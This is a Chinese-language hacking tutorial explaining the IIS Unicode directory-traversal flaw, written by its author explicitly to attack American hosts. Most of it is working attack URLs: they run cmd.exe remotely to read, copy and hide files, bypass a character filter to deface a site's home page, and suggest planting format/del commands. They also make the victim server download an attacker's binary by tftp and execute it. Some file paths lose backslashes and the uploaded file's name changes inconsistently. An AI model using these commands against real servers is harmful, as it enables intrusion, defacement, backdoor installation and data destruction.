当前位置:Linux教程 - Linux - Unicode漏洞攻击说明

Unicode漏洞攻击说明

Unicode漏洞攻击说明

(一)

原理及命令篇

作者:小铭

大家好!为了更好地攻击美国主机,我在4月29日写了这篇文章。

如果,你不想了解Unicode漏洞,那么请你跳过这篇文章,直接阅读“Unicode漏洞攻击说明 (二)”

(我不希望你这样做!如果你不了解它,你就不能好好地利用它。)

1、首先,请大家建立一个名字为“黑客力量”的文件夹,这样方便存放攻击工具。

关于Unicode漏洞我会简单地介绍一下,如果大家想了解多一些,请到“安全教学”里找文章。



2、Unicode漏洞的原理

此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,台湾繁体中文也同样存在这样的漏洞。

中文版的Win2000中,Unicode漏洞存在BUG,在Unicode编码中:

%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = /
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f =

Win NT4 编码为:%c1%9c
Win2000 英文版 编码为:%c0%af (更多编码……)



3、检测方法:

* 注意:以下编码为“%c0%af”( %c0%af:为 Win2000 英文版 编码)

比如说有一IP地址为x.x.x.x的WIN2K主机,我们可以在地址栏输入

http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir

如果存在此漏洞的话,我们便可以看到以下的内容:(例子假设""C:inetpubscripts""目录里无文件)

Directory of C:inetpubscripts
2000-09-28 15:49 〈DIR〉 .
2000-09-28 15:49 〈DIR〉 ..

如果目标主机的管理员把该目录删除掉,我们就无法看到了,但是还有以下的目录是同样可以用来测试的。

http://x.x.x.x/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir



4、漏洞分析:

从上面的检测中,可以清楚地看到:

“http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+” 之后就是DOS命令:dir

如果我们换成:http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+d:

那么,你就可以看到目标主机的 D: 的内容。(这里用到的命令是:dir)

如果我们换成:http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+type+d:cnhack.bat

那么,你就可以看到目标主机的 D:cnhack.bat 文件 的内容。(这里用到的命令是:type)

如果我们换成:http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+md+d:cnhack

运行后我们可以看到返回这样的结果:
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:

英文意思是:
CGI错误
具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为:

但,你仍然可以在目标主机的 D: 里建立一个名为:cnhack 的文件夹。(这里用到的命令是:md)

 

5、主要命令

(一):复制文件且改名的命令

http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+d:cnhack.bat d:cnhackhack.bat

返回信息:
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
1 file(s) copied.

此时,你已经把 d:cnhack.bat 复制到 d:cnhackhack.bat (这里用到的命令是:copy)

* 注意:多数时候,你会得不到copy权限。除非你真的碰到了很笨的管理员。

(二):显示目标主机当前的环境变量的命令

http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+set

这个命令比较有用,你在里面可以得到主机的各项信息,对攻击很有帮助的哦!(这里用到的命令是:set)

(三):attrib修改属性命令

用这命令查文件属性和修改文件的属性。

http://x.x.x.x/scripts/..%c0%af../winnt/system32/attrib.exe?c:inetpubwwwrootindex.htm

运行后,我们可以看到index.htm的文件属性,往往有时我们无法修改这文件,是因为这文件设为只读。(这里用到:attrib.exe)

http://x.x.x.x/scripts/..%c0%af../winnt/system32/attrib.exe?%20%2br%20%2bh%20d:inetpubwwwrootindex.htm

运行后,我们可以把index.htm文件设为只读、隐藏。如果我们把某个后门程序隐藏起来,并且管理没有设置所有文件可见。

那么是不是很方便上传的东西不被管理员发现呢?

* 注意:这里 %2b 等于 +

http://x.x.x.x/scripts/..%c0%af../winnt/system32/attrib.exe?%20-r%20-h%20d:inetpubwwwrootindex.htm

运行后解除文件的属性。



同样,还有很多命令可以执行,大家可以试试,不过有些时间会很久,有些是不能执行的。

解释+号,在这里+等于空格键,当然你也可以用空格键,用空格键运行后会转换为%20 和%c0%af=/是同一道理的。

 

6、简单地修改主页

一般情况下,我们要修改目标主机的web文件,常用到的方法是利用echo回显、管道工具“>” “>>”

先复习一下这些命令和管道工具的功能:

D:>echo/?

显示信息,或将命令响应打开或关上。
ECHO [ON | OFF]
ECHO [message]
仅键入 ECHO 而不加参数,可以显示当前的 ECHO 设置。

管道工具“>” “>>” 的功能

“>”“>>”是将命令产生的输出重新定向,比如写到某个文件或输出到打印机中。

“>>”产生的内容将追加进文件中,“>”则将原文件内容覆盖。


我们知道IIS加载程序检测到有cmd.exe或者command.com串就要检测特殊字符“&|(,;%<>”

如果发现有这些字符就会返回500错误,所以不能直接使用cmd.exe加管道符等。

如果我们输入:http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+echo+内容+> d:cnhack.bat

我们可以看到提示
HTTP 500 - 内部服务器错误
Internet Explorer

中联绿盟的yuange(袁哥)发布了关于这字符的公告。

如果我们要得到echo与>的结合使用,可以这样操作:

http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd"".exe?/c+echo+内容+> d:cnhack.bat

注意,与开始的命令的区别只在于cmd后面多了个""字符。

运行后我们可以看到返回这样的结果:

CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:

英文意思是:
CGI错误
具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为:

实际上,我们已经把“内容”写入到 d:cnhack.bat 文件里了。

利用这样的方法我们可以建立.bat .txt .asp .htm .html 等文件,这对于一个存在这漏洞的网站可以说是致命打击的开始。

尤其是能写.bat文件,如果我们在autoexe.bat里面加入format del等命令时,你想结果会如何??

回到修改网站页面的问题来。

比如说想修改c:inetpubwwwrootdefault.asp

我们就可以这样在地址栏输入:

http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd"".exe?/c+echo+黑客力量+> c:inetpubwwwrootdefault.asp

那么再看他的首页时,已经被修改为:



黑客力量



事情就那么简单,任何一个普通人都可以通过地址栏对存在该漏洞的目标主机做最简单的入侵。

当然,如果为了方便输入,我们可以把cmd.exe改名为其他名字的文件,比如说cnhack.exe

http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+c:winntsystem32cmd.exe+c:inetpubscriptscnhack.exe

以后使用就可以直接用:

http://x.x.x.x/scripts/c.exe?/c+echo+黑客力量+> c:inetpubwwwrootdefault.asp



7、上传文件

上传文件的方法有很多种,但最好用的算是 tftp 啦。

什么是 tftp ?

简单来说,tftp 就是让你的电脑变成一台服务器,让攻击主机来下载你的文件。

这样就可以达到上传的目的。

首先,请大家下载:http://www.cnhack.org/hackusa/tftp.zip

解压后,运行 tftpd32.exe 。

在运行它之前,建议关闭其他FTP服务器,保持tftpd运行,这时你的机器已经是一个FTP服务器了。

然后,把你要上传的文件,复制到同一目录下。

回到你的浏览器,在地址栏里填入:

http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp -i y.y.y.y GET cnhack.exe c:inetpubscriptsak.exe

y.y.y.y为你自己的IP,注意:c:inetpubscriptssr.exe 其中c:inetpubscripts为主机服务器目录,

要看主机的具体情况而定,ak.exe为被改名的cnhack.exe(自己选名字吧)。

然后等待...大概3分钟...IE浏览器左下角显示完成,红色漏斗消失,这时ncx99.exe已经上传到主机c:inetpubscripts目录了。

您可以自己检查一下。

再使用如下调用来执行cnhack.exe(ak.exe)

http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:inetpubscriptssr.exe